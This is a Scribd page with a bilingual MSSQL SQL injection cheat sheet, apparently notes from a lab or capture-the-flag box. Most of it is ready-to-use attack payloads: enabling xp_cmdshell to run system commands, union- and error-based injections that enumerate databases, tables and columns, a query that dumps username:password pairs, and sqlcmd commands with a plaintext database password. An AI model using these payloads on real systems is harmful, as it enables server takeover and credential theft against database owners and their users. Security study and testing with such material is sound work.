Scribd
Upload
6 views5 pages

MSSQL SQL Injection Cheat Sheet

The document discusses SQL injection techniques for Microsoft SQL Server including exploiting xp_cmdshell to execute system commands, retrieving database, table, and column names, and extracting data from tables. It also covers using sqlcmd to connect and query SQL Server databases from the command line.

Uploaded by

李竞秋
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
6 views5 pages

MSSQL SQL Injection Cheat Sheet

The document discusses SQL injection techniques for Microsoft SQL Server including exploiting xp_cmdshell to execute system commands, retrieving database, table, and column names, and extracting data from tables. It also covers using sqlcmd to connect and query SQL Server databases from the command line.

Uploaded by

李竞秋
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

MSsql

[TOC]
mssql-sql-injection-cheat-sheet
mssql xp_cmdshell
mssql-practical-injection-cheat-sheet
⼲货 | MSSQL注⼊和漏洞利⽤姿势总结
SELECT * FROM [Link] WHERE name = 'xp_cmdshell';
sp_configure 'show advanced options', '1'
RECONFIGURE
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'

SQL injection 示例

查询回显 order by 3;--


查询回显类型 select null,null,null;-- ``select 1,'1',3;--
查询⽤户是否为系统管理员 -1' union SELECT is_srvrolemember('sysadmin'),2;--+
联合配置xp_cmdshell -1' union select 1,2;EXEC sp_configure 'show advanced
options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

基于错误的MSSql注⼊
基于错误MSSQL注⼊

查询SQL server版本
convert(int,@@version)
查询数据库名：
N修改数字可从0开始，0为当前数据库名
convert(int,db_name(N))

abcd' union select 1,name,3,4,5,6 from master..sysdatabases;-- -


abcd' union select 1,(select db_name()),3,4,5,6 from master..sysdatabases;-- -

提取数据库的表名
CONVERT(int,(select top(1) table_name from information_schema.columns))
convert(int,(select top 1 name from archive..sysobjects))

abcd' union select 1,name,id,4,5,6 from STREAMIO..sysobjects where xtype='U';--


-

从表中提取列名
在提取列名的时候，我们可以使⽤cast()来规定要从哪些表中提取列名。需要注意的是，这
⾥的表名是⽤“⼗六进制”形式表示的。
convert(int,(select top(1) COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
convert(int,(select top 1 name from archive..syscolumns))
convert(int,(select top 1 name from archive..syscolumns where name
!='alogin'))

abcd' union select 1,name,id,4,5,6 from streamio..syscolumns where id in


(885578193,901578250);-- -

提取表中的列数据
convert(int,(select top(1) xserver_name from spt_fallback_db))

abcd' union select 1,concat(username,':',password),3,4,5,6 from users;-- -


修改N从1开始
convert(int,(CHAR(58)+CHAR(58)+(SELECT top 1 other_column FROM (SELECT top N
other_column FROM other_database..other_table ORDER BY other_column ASC) sq
ORDER BY other_column DESC)+CHAR(58)+CHAR(58)))

sqlcmd: 
[Link] sqlcmd

-S localhost - host to connect to


-U db_admin - the user to connect with
-P B1@hx31234567890 - password for the user
-d streamio_backup - database to use
-Q [query] - query to run and then exit
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q
"select table_name from streamio_backup.information_schema.tables;"

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q


"select * from users;"

You might also like